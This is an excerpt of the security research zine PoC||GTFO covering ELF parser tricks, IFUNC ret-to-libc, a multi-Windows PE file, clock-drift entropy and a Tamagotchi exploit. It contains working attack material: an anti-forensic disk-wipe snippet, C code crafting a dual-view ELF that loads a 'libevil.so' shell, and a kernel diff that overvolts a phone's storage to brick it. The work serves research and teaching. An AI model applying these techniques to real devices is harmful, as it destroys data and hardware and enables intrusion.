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0 A CFP with POC

Delivering more nifty ELF research, Bx presents in PoCkGTFO

0:5 a trick for returning from the ELF loader into a libc function

by abuse of the IFUNC symbol. There’s a catch, though, which is

that on amd64 her routine needs to pass a very restricted set of

arguments. The �rst parameter must be zero, the second must

be the address of the function being called, and the third argu-

ment must be the address of the symbol being dereferenced. This

article ends in a cli�hanger, which is resolved in PoCkGTFO 2:6

when she shares with us the tricks needed to call putchar() and

getchar().

Remembering good times, PoCkGTFO 0:6 by FX tells us of

an adventure with Barnaby Jack, one which features a golden

vending machine and some healthy advice to get the fuck out of

Abu Dhabi.
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1 //These sectors are for 2048- byte sectors.

// Multiply by 4 for devices with 512-byte sectors.

3 if( cur_cmd .sector >=10000 && cur_cmd .sector <48000)

tamperdetected =true;

5
//This is the legitimate read.

7 cur_cmd . last_result = storage_read_sectors (

IF_MD2 ( cur_cmd .lun ,) cur_cmd .sector ,

9 MIN( READ_BUFFER_SIZE / SECTOR_SIZE , cur_cmd . count ),

cur_cmd .data[ cur_cmd . data_select ]

11 );

13 //Here , we wipe the buffer to demo antiforensics.

if( tamperdetected ){

15 for(i=0;i< READ_BUFFER_SIZE ;i++)

cur_cmd .data[ cur_cmd . data_select ][i]=0 xFF;

17 // Clobber the buffer for testing.

strcpy ( cur_cmd .data[ cur_cmd . data_select ],

19 " Never gonna let you down.");

21 // Comment the following to make a harmless demo.

//This writes the buffer back to the disk ,

23 // eliminating any of the old contents.

if( cur_cmd .sector >=48195)

25 storage_write_sectors (

IF_MD2 ( cur_cmd .lun ,)

27 cur_cmd .sector ,

MIN( WRITE_BUFFER_SIZE / SECTOR_SIZE , cur_cmd . count ),

29 cur_cmd .data[ cur_cmd . data_select ]);

}

18
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0:3 ELFs are dorky, Elves are cool

by Sergey Bratus and Julian Bangert

The ELF ABI is beautiful. It’s one format to rule all the

tools: when a compiler writes a love letter to the linker about its

precious objects, it uses ELF; when the RTLD performs runtime

relocation surgery, it goes by ELF; when the kernel writes an

epitaph for an uppity process, it uses ELF. Think of a possible

world where binutils would use their own separate formats, all

alike, leaving you to navigate the maze; or think of how ugly

a binary format that’s all things to all tools could turn out to

be (�cough� ASN.1, X.509 �cough�), and how hard it’d be to

support, say, ASLR on top of it. Yet ELF is beautiful.

Verily, when two parsers see two di�erent structures in the

same bunch of bytes, trouble ensues. A di�erence in parsing of

X.509 certi�cates nearly broke the Internet’s SSL trust model.2

The latest Android Master Key bugs that compromised APK sig-

nature veri�cation are due to di�erent interpretation of archive

metadata by Java and C++ parsers/unzippers3�yet another se-

curity model-breaking parser di�erential. Similar issues with

parsing other common formats and protocols may yet destroy

remaining trust in the open Internet.

ELF is beautiful, but with great beauty there comes great

responsibility�for its parsers.4 So do all the di�erent binutils

components as well as the Linux kernel see the same contents in

an ELF �le? This PoC shows that’s not the case.

2See PKI Layer Cake by Dan Kaminsky, Len Sassaman, and Meredith L.
Patterson

3See http://www.saurik.com/id/18 and http://www.saurik.com/id/17.
4Cf. �The Format and the Parser,� a little-known variant of the �The Beauty

and the Beast.� They resolved their parser di�erentials and lived invul-
nerably ever after.
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segments to load into non-overlapping address ranges. RTLD’s

con�guration is held by the .dynamic section, which serves as

a directory of all the relevant symbol tables, their related string

tables, relocation entries for the symbols, and so on.6 The kernel

merely looks past the ELF header for the �at table of loadable

segments and proceeds to load these into memory.

As a result of this double vision, the kernel’s view and the

RTLD’s view of what belongs in the process address space can be

made starkly di�erent. A libpoc.so would look like a perfectly

sane library to RTLD, calling an innocent �Hello world� function

from an innocent libgood.so library. However, when run as an

executable it would expose a di�erent .dynamic table, link in a

di�erent library, libevil.so, and call a very di�erent function,

such as dropping a shell. It should be noted that ld.so is also an

executable and can be used to launch actual executables lacking

executable permissions, a known trick from the Unix antiquity;7

however, its construction is di�erent.

The core of this PoC, makepoc.c that crafts the dual-use ELF

binary, is a rather nasty C program. It is, in fact, a backport

to C of our Ruby ELF manipulation tool, Mithril,8 inspired by

ERESI, but intended for liberally rewriting binaries rather than

for ERESI’s subtle surgery on the live process space.

6To achieve RTLD enlightenment, meditate on the Grugq’s
subversiveld.pdf and Mayhem’s elf-rtld.txt, for surely these
are the incarnations of the ABI Buddhas of our age, and none has
described the runtime dynamic linking internals better since.

7/lib/ld-linux.so <wouldbe-execfile>
8https://github.com/jbangert/mithril
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48 Somewhere far below , there is the .data segment ,

which we ignore.

50
LD.so/kernel boundary assumes the offset that applies on disk

52 works also in memory; however , if phdrs are in a different

segment , this won’t hold.

54 */

int elf_magic (){

56 Elf64_Ehdr *ehdr = file;

Elf64_Phdr * orig_phdrs = file + ehdr -> e_phoff ;

58 Elf64_Phdr * firstload ,* phdr;

int i=0;

60 //For the sake of brevity , we assume a lot about the layout.

//First 4K has the mapped parts of program

62 //2nd 4K holds the program headers for the kernel

//3rd 4k holds the program headers for ld.so +

64 assert (filesz > PAGESIZE );

assert (filesz <2* PAGESIZE );

66
//The new dynamic section is mapped just above the program.

68 for( firstload = orig_phdrs ; firstload -> p_type != PT_LOAD ;

firstload ++);

70 assert (0 == firstload -> p_offset );

//2nd page of memory will hold 2nd segment.

72 assert ( PAGESIZE > firstload -> p_memsz );

uint64_t base_addr = ( firstload -> p_vaddr & ~0 xffful );

74
//PHDRS as read by the kernel ’s execve () or dlopen (),

76 //but NOT seen by ld.so

Elf64_Phdr * kernel_phdrs = file + filesz ;

78 memcpy ( kernel_phdrs , orig_phdrs , //copy PHDRs

ehdr -> e_phnum * sizeof ( Elf64_Phdr ));

80 //Point ELF header to new PHDRs.

ehdr -> e_phoff = (char *) kernel_phdrs - file;

82 ehdr -> e_phnum ++;

84 //Add a new segment (PT_LOAD), see above diagram.

Elf64_Phdr * new_load = kernel_phdrs + ehdr -> e_phnum - 1;

86 new_load -> p_type = PT_LOAD ;

new_load -> p_vaddr = base_addr + PAGESIZE ;

88 new_load -> p_paddr = new_load -> p_vaddr ;

new_load -> p_offset = 2* PAGESIZE ;

90 new_load -> p_filesz = PAGESIZE ;

new_load -> p_memsz = new_load -> p_filesz ;

92 new_load -> p_flags = PF_R | PF_W;

// Disable large pages or ld.so complains when loading as .so

94 for(i=0;i<ehdr -> e_phnum ;i++){

if( kernel_phdrs [i]. p_type == PT_LOAD )
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//not like the output of your compiler

144 assert (f);

// Read the entire file

146 filesz = fread (file ,1, sizeof file ,f);

fclose (f);

148 }

void writefile (){

150 FILE *f= fopen (" libpoc .so","w");

fwrite (file , sizeof file ,1,f);

152 fclose (f);

system (" chmod +x libpoc .so");

154 }

Elf64_Phdr * find_dynamic ( Elf64_Phdr *phdr){

156 //Find the PT_DYNAMIC program header

for (; phdr -> p_type != PT_DYNAMIC ;phdr ++);

158 return phdr;

}

160 uint64_t find_dynstr ( Elf64_Phdr *phdr){

//Find the address of the dynamic string table

162 phdr = find_dynamic (phdr);

Elf64_Dyn *dyn;

164 for(dyn = file + phdr -> p_offset ;

dyn -> d_tag != DT_STRTAB ; dyn ++);

166 return dyn ->d_un. d_ptr ;

}

168 int main ()

{

170 readfile ();

elf_magic ();

172 writefile ();

}

1 # -------------------- Makefile -----------------------

%. so: %.c

3 gcc -fpic -shared -Wl ,-soname ,$@ -o $@ $^

all: libgood .so libevil .so makepoc target libpoc .so

all_is_well

5
libpoc .so: target . handchecked makepoc

7 ./ makepoc

clean :

9 rm -f *. so *.o target makepoc all_is_well

target : target .c libgood .so libevil .so

11 echo "# define INTERP \"‘ objcopy -O binary -j . interp \

/bin/ls /dev/stdout ‘\"" >> interp .inc && gcc -o target \

13 -Os -Wl ,-rpath ,. -Wl ,-efoo -L . -shared -fPIC -lgood target .

c \
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0:3.1 Neighborly Greetings and ncite{}s:

Our gratitude goes to Silvio Cesare, the Grugq, Klog, May-

hem, and Nergal, whose brilliant articles in Phrack and else-

where taught us about the ELF format, runtime, and ABI. Spe-

cial thanks go to the ERESI team, who set a high standard of

ELF (re)engineering to follow. Uninformed 6:3 by Skape led us

to re-examine ELF in the light of weird machines, and we thank

.Bx for showing how to build those to full generality. Last but

not least, our view was profoundly shaped by Len Sassaman and

Meredith L. Patterson’s amazing insights on parser di�erentials

and their work with Dan Kaminsky to explore them for X.509

and other Internet protocols and formats.
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con frames and probe responses. These papers are memories to

be cherished, and they are stories worth telling. So tell them!

Preach the good word of how the hell things actually work at

every opportunity!

Don’t just preach the gospel, give the good word on paper.

Print a dozen copies of a nifty paper and give them away at

the next con. Do this at Recon, and you will make fascinating

friends who will show you things you never knew, no matter how

well you knew them before. Do this at RSA�without trying to

sell anything�and you’ll be a veritable hero of enlightenment in

an expo center of half-assed sales pitches and booth babes. Kill

some trees to save some souls!

Don’t just give papers that others have written. Give early

drafts of your own papers, or better still your own documented

0day. Nothing demonstrates neighborliness like the gift of a good

exploit.

Further, I must warn you to ignore this Black Hat / White Hat

nonsense. As a Straw Hat, I tell you that it is not the color of the

hat that counts; rather, it is the weave. We know damned well

that patching a million bugs won’t keep the bad guys out, just

as we know that the vendor who covers up a bug caused by his

own incompetence is hardly a good guy. We see righteousness in

cleverness, and we study exploits because they are so damnably

clever! It is a heroic act to build a debugger or a disassembler,

and the knowledge of how to do so ought to be spread far and

wide.

First, consider the White Hats. Black Hats are quick to judge

these poor fellows as do-gooders who kill bugs. They ask, �Who

would want to kill such a lovely bug, one which gives us such

clever exploits?� Verily I tell you that death is a necessary part

of the ecosystem. Without neighbors squashing old bugs, what

incentive would there be to �nd more clever bugs or to write more

30
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0:5 Returning from ELF to Libc

by Rebecca �Bx� Shapiro

Dear friends,

As you may or may not know, demons lurk within ELF meta-

data. If you have not yet been introduced to these creatures,

please put this paper down and take a look at either our talk

given at 29C3, or our soon-to-be released WOOT publication.9

Although the ability to treat the loader as a Turing-complete

machine is Pretty_Neat, we realize that there are a lot of useful

computation vectors built right into the libraries that are mapped

into the loader and executable’s address space. Instead of re-

inventing the wheel, in this sermon we’d like to begin exploring

how to harness the power given to us by the perhaps almighty

Libc.

The System V amd64 ABI scripture10 in combination with the

eglibc-2.17 writings have provided us ELF demon-tamers with

the mighty useful IFUNC symbol. Any symbol of type IFUNC is

treated as an indirect function�the symbol’s value is treated as

a function, which takes no arguments, and whose return value is

the patch.

The question we will explore from here on is: Can we harness

the power of the IFUNC to invoke a piece of Libc?

After vaguely thinking about this problem for a couple of months,

we have �nally made progress towards the answer.

Consider the exit() library call. Although one may question

why we would want to craft metadata that causes a exit() to be

invoked, we will do so anyway, because it is one of the simplest

9Since published at WOOT 2013 as �Weird Machines� in ELF: A Spotlight
on Unappreciated Metadata by Shapiro, Bratus, and Smith.

10psABI-x86_64.pdf
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refers to symbol 0 and whose o�set is set to the location of sym-

bol 1’s values, causing the location of ext() to be copied into

symbol 1, or we could

(2) update the type of the symbol that already has the address

of exit() to that it becomes an IFUNC. This can be done in a

single relocation entry of type R_X86_64, whose addend is that

which is copied to the �rst 8 bytes of symbol 0. If we set the

addend to 0x0100000a00000000, we will �nd that the symbol

type will become 0x0a (IFUNC), the symbol shndx will be set as

01 so the IFUNC is treated as de�ned, and the other �elds in the

symbol structure will remain the same.

After our metadata that sets up the IFUNC, we need a reloca-

tion entry of type R_X86_64_64 that references our IFUNC symbol,

which will cause exit() to be invoked.

At this moment, you may be wondering how it may be possible

to do more interesting things such as have control of the argument

passed to the function call. It turns out that this problem is still

being researched.11 In eglibc-2.17, at the time the IFUNC is

called, the �rst argument is and will always be 0, the second

argument is the address of the function being called, and the

third argument the addressed of the symbol being referenced.

Therefore at this level exec(0) is always called. It will clearly

take some clever redirection magic to be able to have control over

the function’s arguments purely from ELF metadata.

Perhaps you will see this as an opportunity to go on a quest

of ELF-discovery and be able to take this work to the next level.

If you do discover a path to argument control, we hope you will

take the time to share your thoughts with the wider community.

Peace out, and may the Manul always be with you.

11See PoCkGTFO 2:6 on page 96.
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obviously being equipped with the only Uninterruptable Power

Source (UPS) in the world that actually provides power when

needed.

Reappearing from behind the machine, happily holding the

unplugged network and power cables, yours truly observed the

group of hosts being already far away and the group of hackers

following close behind. Inverting their vector of movement, the

cause of the same became obvious with the approaching storm

troopers of Blackwater quality and quantity. Therefore, yours

truly joined the other hackers at considerable speed.

The FAIL

Needless to say, what followed was a tense afternoon of drinking,

waiting, and considering exit scenarios from a certain country,

depending on individual citizenship, while powers that be were

busy turning the incident into a non-issue.

The #FAIL was quickly identi�ed as the inability of the fel-

lowship of hackers to determine rank and therefore authority of

people that all wear more or less the same garments. What had

happened was that the people giving authority to hack the ma-

chine actually did not possess said authority in the �rst place or,

alternatively, had pissed o� someone with more authority.

The failed PoC pointed out the bene�ts of western military

uniforms and their rank insignia quite clearly.

Neighborly Greetings

Neighborly greetings are in order to Mr. Nils, who, upon learning

about the incident, quietly handed the local phone number of the

German embassy to yours truly.12

12+971.2.644.6693
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our subsequent releases.

In PoCkGTFO 1:6, Josh Thomas will teach you a how to per-

manently brick an Android phone by screwing around with its

voltage regulators in quick kernel patch. We the editors remind

readers to send only quality, technical correspondence to Josh;

any rubbish that merely advocates your chosen brand of cell-

phone should be sent to jobs@paper.li.

Today’s sermon, to be found in PoCkGTFO 1:7, concerns the

divinity of programming languages, from PHP to BASIC. Follow-

ing along with a little scripture and a lot of liquor, we’ll see that

every language has a little something special to make it worth

learning and teaching. Except Java.
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Only recently have we gotten an instruction out of Intel to

retrieve random numbers, RDRAND. I can’t comment as to the

validity of the function except to say that any audit process that

refuses its auditors physical access to the part in question and

disables all possible debugging or post-veri�cation after release

is not a process that inspires con�dence.

But do we need the instruction? The core assumption is that

in lieu of RDRAND the computer is deterministic, that the same

input will lead to the same output. Seems reasonable, until you

ask:

If all I do is turn a computer on, will it take the same number

of nanoseconds to reach the boot screen?

If you think the answer is yes, PoCkGTFO.

If you think the answer is no, that there will be some amount

of nanosecond drift, then where does this drift come from? The

answer is that the biggest lie about your computer is that it’s

just one computer. CPU cores talk to memory busses talk to ex-

pansion busses talk to storage and networking and the interrupt

of the month club. There are generally some number of clocks,

they have di�erent speeds and di�erent tolerances, and you do

not get them synchronized for free. (System-on-Chip devices are

a glaring exception, but it’s still rather common for them to be

speaking to peripherals.)

Merely turning the machine on does not synchronize every-

thing, so there is drift. Where there is drift, there is entropy.

Where there is entropy, there is security.

This is Actually a Problem

To stop a brute force attack against your random number gen-

erator, you need a few bits. At least 80, ideally 128. Not 128

million. 128. Ever. For the life of that particular device. (Not
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that 1=200. But of course, buying a handful of devices gives you

the similarity map.

However bad clock di�erentials might be, they would not have

created this apocalyptic failure rate.

This Didn’t Have to Happen

In 1999, Daniel J. Bernstein pointed out that the 16 bit trans-

action ID in DNS was insu�cient and that the UDP source port

could be overloaded to provide almost 32 bits of entropy per DNS

request. His advice was not accepted.

In 1996, Matt Blaze created Truerand, a scheme that pitted

the CPU against signal handlers. His approach actually has a

long and storied history, back to the VMS days, but it was never

accepted either.

In 2011, I released Dakarand. Dakarand is a collection of

approaches for pitting various clocks inside against a computer

against each other. Many random number generation schemes

come down to measuring something that varies by millisecond

with something that varies by nanosecond. (Your CPU, running

in a tight loop, is a fast clock operating in the gigahertz. Your

RTC�Real Time Clock�is much slower and is not reporting

milliseconds accurate to the nanosecond. In confusion, pro�t.)

Dakarand may in fact fail, somehow, somewhere, in some mode.

But thus far, it seems to work pretty much everywhere, even vir-

tual machines. (As a TRNG, each read event can generate new

seed material without depending on data that might have been

inherited before VM cloning.)

In 2013, in honor of Barnaby Jack, I tossed together the code

on page 40. It’s the weakest possible formulation of this concept,

written in JavaScript and hardened only with the barest level of

Von Neumann. It is called oi.js, and you should break it.
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After all, it’s just JavaScript. It can’t be secure.

The idea is, in fact, to �nd the weakest formulation of this

concept that still works. PoC k GTFO shows us where known

security stops and safety margin begins.

On Measuring the Strength of Cryptosystems

Sometimes people forget that we regularly build remarkably safe

code out of seemingly trivial to break components. Hash func-

tions are generally composed of simple operations that, with only

a few rounds of those functions, start becoming seriously tricky to

reverse. RSA, through this lens, is just multiply as an encryption

function, albeit with a mind bending number of rounds.

Humans do not require complex radioactivity measurements

or dwellings on the nature of the universe to get a random bit.

They can merely �ip a coin, a system that is well described as

the Newtonian interaction between a slow clock (coin goes up,

coin goes down) and a fast clock (coin spins round and round.)

Pretending that there is nothing with the properties of a simple

coin anywhere in the mess that is a device that can at least run

Linux is enabling vulnerability.

PoC’s in defense are rare�now let’s see what you’ve got. ;)
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can rewire those chips into a general-purpose computer.

� If Ada can purchase thousands of typewriters, she can rewire

each into some sort of 7400-equivalent, like a NAND gate.

These wouldn’t be very power-e�cient, but Ada could ar-

range them to form a computer.

� If Serena adds any sort of feedback from the output of the

machine to the input, Ada gets a lot more room to ma-

neuver. Spellcheck can be added safely, but storage or text

justi�cation is dangerous.

� It’s tempting to say that Serena could win by having a

mask-programmed microcontroller that cannot execute RAM,

but software bugs will likely give a victory to Ada in this

case. This is only interesting because it’s the singular case

where academics’ stubborn insistence that ROP is di�erent

from ret-to-libc might actually be relevant!

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

So how does a neighbor learn to build these less-than-computers,

and how does another neighbor learn to craft computers out of

them? If you are unfamiliar with hardware design languages,

start o� with a tutorial in VHDL or Verilog, then work your way

up to crafting a simple CPU in the language. After that, sources

get a bit harder to come by.

A primitive sort of Butlerian Typewriter is described by Don

Lancaster in his classic article TV Typewriter from the Septem-

ber 1973 issue of Radio Electronics. His follow-up book, the TV

Typewriter Cookbook, is as complete a guide you could hope for

when designing these sorts of machines. Lancaster’s books as
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the time from the page blank to the drawing of the paddle.

To get some ideas for building computers out of twigs and mud,

take a look at the brilliant papers by Dartmouth’s Scooby Crew.

They’ve built thinking machines from DWARF,3 ELF,4 and even

the X86 MMU!5 I fully expect that by the end of the year, they’ll

have built a Turing-machine from Lancaster’s original 1973 de-

sign.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

Let’s take a look at some examples of these fancy typewriters.

I hope you will forgive me for asking annoying questions for each,

but still more, I hope you will argue over each question with a

clever neighbor who disagrees.

Simple Butlerian Typewriter: As a starting point, the simplest

form of a Butlerian Typewriter might consist of a Keyboard that

feeds into a Text Bu�er that feeds into a Font ROM that feeds

into an NTSC Generator that feeds into an analog TV. The Text

Bu�er would be RAM alternately addressed by the keyboard on

the write phase and a line/row counter on the read phase. As the

display’s electron beam moves left to right, individual letters are

fetched from the appropriate row of the Text Bu�er and used as

an address in the Font ROM to paint that letter on the screen.

This is roughly the sort described in Lancaster’s original arti-

cle. Note that it does not have storage, spell-check, justi�cation,

I/O, or any other fancy features, although he describes a few such

extensions in his TV Typewriter Cookbook.

3Exploiting the Hard Working Dwarf from WOOT 2011
4�Weird Machines� in ELF: A Spotlight on the Underappreciated Metadata

from WOOT 2013
5Page Fault Liberation Army from 29C3
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matching words in white and suspicious words in red, the type-

writer could look much like Emacs’ flyspell-mode.

So long as the associative memory is in ROM, this seems like a

rather safe addition. What sort of dangers would be introduced if

the associative spellcheck dictionary were in RAM? How di�cult

would it be to build a CPU from nothing but a few associative

memory units, if you had direct access to their bus but could not

change any internal wiring? How few memories would you need?

BT with Printing: Printing turns out to be much easier than

electronic storage. The �rst method is to simply expose pho-

tographic �lm to the display, much as oscilloscopes were pho-

tographed in the good ol’ days.

Another method would be to include a daisy wheel, dot matrix,

or thermal print-head fed by a di�erent Font ROM at a much

slower scan rate. While much more practical than taking a dozen

Polaroid photographs, it does give Ada a lot more room to work

with, as the wiring would be exposed for her to tap and rewire.

����

I don’t expect general purpose computing to be outlawed any
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1:4 Making a Multi-Windows PE

by Ange Albertini

Evolution of the PE Loader

The loader for PE, Microsoft’s Portable Executable format, evolved

slowly, and became progressively stricter in its interpretation of

the format. Many oddities that worked in the past were killed in

subsequent loader versions; for example, the notorious TinyPE

doesn’t work after Windows XP, as subsequent revisions of Win-

dows require that the OptionalHeader is not truncated in the

�le, thus forcing a TinyPE to be padded to 252 bytes (or 268

bytes in 64-bit machines) to still load.

Windows 8 also brings a new requirement that the Entry Point

Address be less than or equal to the size of the header when the

entry point is non-zero, so old-school packers like FSG6 no longer

work.

So there are many real-life examples of binaries that just stop

working with the next version of Windows. It is, on the other

hand, much harder to create a Windows binary that would con-

tinue to run, but di�erently�and not just because of some ex-

plicit version check in the code, but because the loader’s interpre-

tation of the format changed over time. This would imply that

Windows is not a single evolving OS, but rather a succession of

related yet distinct OSes. Although I already did something sim-

ilar, my previous work was only able to di�erentiate between XP

and the subsequent generations of Windows.7 In this article I

show how to do it beyond XP.

6Fast Small Good, by bart/xt
7See �TLS AddressOfIndex in an Imports descriptor� for di�erentiating OS

versions by use of Corkami’s tls_aoiOSDET.asm.
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Implementation

Here’s our plan:

1. Give a user-mode PE a kernel-mode ImageBase, to force

relocations,

2. Add standard relocations for code,

3. Apply a relocation of Type 4 to a subsequent Type 9 relo-

cation entry:

� Under XP or Win7, the Type 9 relocation will keep

its type, with an o�set of 0f00h.

� Under Win8, the type will be changed to a supported

Type 10, and the o�set will be changed to 0000h.

4. We end up with a memory location, that is either:

XP Modi�ed on 32b (00004000h),

Win7 modi�ed on 64b (08004000h), or

Win8 left unmodifed (00000000h), because a completely

di�erent location was modi�ed by a Type 10 reloca-

tion.
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1:5 This ZIP is also a PDF

by Julia Wolf

We the editors have lost touch with the author, who submit-

ted the following napkin sketches in lieu of the traditional ASCII

prose. Please note when forming your own submissions that we

do not accept napkins, except when they are from Julia Wolf or

from John McAfee. �PML
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Figure 1.4: Napkins 3 and 4
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� The framework regulates PMIC and other control devices

to ensure speci�c hardware is given the correct voltages.

� The framework directly interacts with both the kernel and

the physical PCB, as one would expect from a (meta) driver

It’s also worth noting that the PCB has some (surprisingly lim-

ited) hardwired protections against voltage manipulations. Fur-

ther, the kernel has a fairly robust framework to detect thermal

issues and controls to shut down the system when temperature

thresholds are exceeded.

So, in essence, we have a system with a collection of logical

rules that keep the device safe. This makes sense.

Glancing back at our target for attack, we should quickly con-

sider end result potentials. Do we want to simply over volt the

NAND chip to the point of frying all the data or do we want

something a little more subtle? To me, subtle is sexy, so let’s

walk though simply trying to ensure that any NAND writes or

reads corrupt any data in transit or storage.

On the Sony Xperia Z platform, all NAND Flash and all SD-

Card interactions are actually controlled by the Qualcomm MSM

7X00A SDCC hardware. Given we RTFM’d the docs above, we

simply need to implement a slight patch to the kernel:

project kernel /sony/ apq8064 /

2 diff --git a/arch/arm/mach -msm/board - sony_yuga - regulator .c

b/arch/arm/mach -msm/board - sony_yuga - regulator .c

4
-- RPM_LDO (L5 , 0, 1, 0, 2950000 , 2950000 , NULL , 0, 0) ,

6 ++ RPM_LDO (L5 , 0, 1, 0, 5900000 , 5900000 , NULL , 0, 0) ,

8 -- RPM_LDO (L6 , 0, 1, 0, 2950000 , 2950000 , NULL , 0, 0) ,

++ RPM_LDO (L6 , 0, 1, 0, 5900000 , 5900000 , NULL , 0, 0) ,

Wow that was oddly easy, we simply upped the voltage sup-

plied to the 7X00A from 2.95V to 5.9V. What did it do? Well,

given this speci�c hardware is unprotected from manipulation
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across the power band at the PCB layer and at the internal sili-

con layer, we just ensured that all voltage pushed to the NAND

or SD-Card during read / write operations is well above the de-

�ned speci�cation. The internal battery can’t actually deliver

5.9V, but the PMIC we just talked to will sure as hell try and

our end result is a NAND Flash chip that corrupts nearly every

block of storage it attempts to write or read. Sometimes the data

comes back from a read request normal, but most of the time it

is corrupted beyond recognition. Our writes simply corrupt the

data in transit and in some cases bleed over and corrupt neighbor

data on storage.

Overall, with two small values changed in the code base of

the kernel we have ensured that all persistent data is basically

unusable and untrustworthy. Given the PMIC devices on the

phone retain the last valid setting they’ve used, even rebooting

the device doesn’t �x this problem. Rather, it actually makes it

much worse by corrupting large swaths of the resident codebase

on disk during the read operation. Simply, we just bricked a

phone and corrupted all data storage beyond repair or recovery.

If instead of permanently breaking the embedded storage hard-

ware we wanted to force the NAND to hold all resident data un-

scathed and ensure that the system could not boot or clean itself,

we simply need to under-volt the controller instead of upping the

values.
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Pouring myself another, I proclaim, �The gods do enjoy a good

laugh, but not at the expense of BASIC! While PHP is aimed

at college brogrammers, BASIC is aimed at children. Now let’s

think this through carefully, without jumping to premature con-

clusions.

�BASIC provides a learning curve like a cardboard box, in that

when trapped insider a clever child will quickly learn to break out.

In the �rst chapter of a BASIC book, you will �nd the standard

Hello World.

10 PRINT "Hello World"

�Groan if you must, but stick with me on this. In the sixth

chapter, you will �nd something like the following gem.

250 REM This cancels ONERR in APPLE DOS

260 POKE 216, 0

�Sit and marvel,� I say, �at how dense a lesson those two lines

are. They are telling a child to poke his �nger into the brain of the

operating system, in order to clear an APPLE DOS disk error.

How can C or Haskell or Perl or Python begin to compete with

such educational talent? How advanced must you be in learning

those languages to rip a constant out of the operating system’s

Figure 1.5: Excerpt from Apple ][ Basic Programming (1978)
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keep decoding it ’till the cows come home. Perhaps other weird

machines remain to be found?

Natalie Silvanovich shares in PoCkGTFO 2:4 her techniques

for reliably dropping shellcode into the Tamagotchi’s 6502 con-

troller from malicious plugin cartridges. Her exploit requires a

number of nifty tricks, not least of which is that the some bits

of the program counter are ignored in this architecture, so her

victim executes the right code from the wrong address! It is

feared that this technology might be used by the Royal Cana-

dian Mounted Police to fuel a Cyber War of 1812 against the

State of New Hampshire and the People’s Republic of Vermont.

Both American and Canadian neighbors can rest assured that

this one would have the same winner as the original, Non-Cyber

War of 1812.

Travis Goodspeed shares a grab-bag of tricks for exploiting

microcontrollers in PoCkGTFO 2:5. Learn how to combine a
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2:2 A Parable on the Importance of

Tools; or,

Build your own fucking birdfeeder.

an epistle from the Rt. Rvd. Pastor Manul Laphroaig,

to the Beloved Congregation

of the First United Church

of the Weird Machines

Grace and Peace to you!

Once there was a wine-maker named

Noah, the sort of fella you’d be happy to

share a beer with. He made damned good

wine, but one day he started building a

boat.

�Why are you building that?� they’d ask,

�Are the voices in your head telling you that

it’s gonna rain?�

�Nope,� he’d say, �Just toolin’ around.�

They showed him yacht catalogs and

boating magazines. �Look, man, you can

just buy one at the store.�

�Haven’t got the money,� he’d say and

then get back to building the frame or

bending boards for the hull.

�Well, you could a�ord to rent a boat for the weekend.�

Now Noah was a patient guy, but everyone has his limit. �I’m

building my own fucking birdfeeder,� he’d say, �because they’ve

got wood at the store.�

And there was a fella named Howard Hughes, a crazy old mil-

lionaire. Back in the thirties, he built his own air force to �lm
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2:3 A PGP Matryoshka Doll

by Brother Myron Aub

Take out your favourite matryoshka doll, neighbour. Now piece

by piece, open it until you can open it no longer. Every piece

is smaller and closer to the end of the experience, and then�it

stops: you can open the smallest piece no more.

But beware, neighbour! Not all matryoshka dolls behave like

this. Some matryoshka craftsneighbours are tempted by the

devil’s lures. They see no farther than the devil’s unholy promises

of extensibility and compactness when they craft a matryoshka

doll that can compress a larger one to �t within it! And our good

neighbour Phil Zimmerman fell prey to this lure when designing

the PGP doll format.2

When you want to send a message, you must �rst stu� it into

a literal doll. You can then enclose that in an encrypted doll,

a signed doll, or a compressed doll. How do you assemble these

together? However you please! You can put your literal doll

inside a signed doll inside an encrypted doll inside a compressed

doll. Naturally, ciphertext compresses poorly, so this would be

a stupid way to nest a PGP matryoshka doll. Normally you put

your literal doll inside a signed doll inside a compressed doll inside

an encrypted doll, but you can do it stupidly if you like.

And how do you open a PGP matryoshka doll? Since the

sender could have assembled it however they pleased, you must

be ready for anything. If you see an encrypted doll, you decrypt

it and open the enclosed smaller doll. If you see a signed doll,

you verify its signature�throwing it away if it fails to verify�

and open the enclosed smaller doll. If you see a literal doll, you’re

done and you read the message.

2RFC 4880, OpenPGP Message Format
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Hey kids!

Can you reverse engineer shellcode from the picture?
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the Tamagotchi’s mask ROM.6 Changing this index causes some

very strange behavior. If the index is an expected value, from 0

to about 0x20, a game will be played as expected, but for higher

indexes, the device will freeze, requiring a reset. Even stranger,

if the index is very high (0xD8 or higher), the Tamagotchi jumps

to a di�erent, valid screen, such as feeding the Tamagotchi or

giving it a bath, and the Tamagotchi functions normally after-

wards. This made me suspect that the game index was used as

an index into a jump table and that freezing was due to jumping

to an invalid location.

With no way to gain additional information about the cause

of the behavior, and about 200 possible vulnerabilities, it made

sense to to �ll up as much memory as possible up with a NOP

sled, try all possible indexes, and hope that one caused a jump to

the right location. Unfortunately, the only memory controllable

by the �gure is the LCD RAM, so I �lled that with NOPs and

shellcode. (The screen data starts at 0x1C80 in the �gure mem-

ory, and maps to 0x1000 in the Tamagotchi memory, for people

trying this at home.) After several tries and some �ddling the

shellcode, index 0xD4 lead to very unreliable code execution. This

code execution allowed me to perform a complete ROM dump of

the Tamagotchi, which in turn led to the ability to better analyze

the bug.

The following code contains the vulnerability. Please note that

the current state (current_state_22) is set from the game index

without validation.

6The important index is located at address 0x18 in �gure memory.
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memory addresses are �oating and some-

times end up with values that, when executed, send the instruc-

tion pointer to the LCD RAM, or the unde�ned instruction 0xFF,

when executed, puts the instruction pointer into the right place,

sometimes. Barring bizarreness beyond my wildest imagination,

neither of these possibilities would allow for the exploit to be

made more reliable though manipulation of the �gure data.

Instead, I looked for a better index to use, which turned out to

be 0xCD. 0xCD + 0xF00E + 0x27 is 0xF102, which maps to part

of the LCD segment table, which has a value of 4. Jumping to

0x4000 in page 4 immediately indexes into another page table.

1 seg004 :4000 LDA #$D

seg004 :4002 STA $34

3 seg004 :4004 LDA #$40 ; ’@’

seg004 :4006 STA $35

5 seg004 :4008 LDA $22

seg004 :400A JMP jump_into_table_D27F

This index is also out of range, and indexes into a code section:

seg004 :41 F5 INC $11E

Interpreted as a pointer, however, this value is 0x1EEE. The

LCD RAM range is from 0x1000 to 0x1200, but fortunately, bits

2-7 of the upper byte of addresses in the 0x1000-0x2000 range

are ignored, so reading 0x1EEE returns the value at 0x10EE. This

means that playing a game with the index of 0xCD will execute

code in the LCD RAM every time!

While reading PoCkGTFO obligates you to share a copy with

a neighbour, trying this on your own Tamagotchi is only strongly

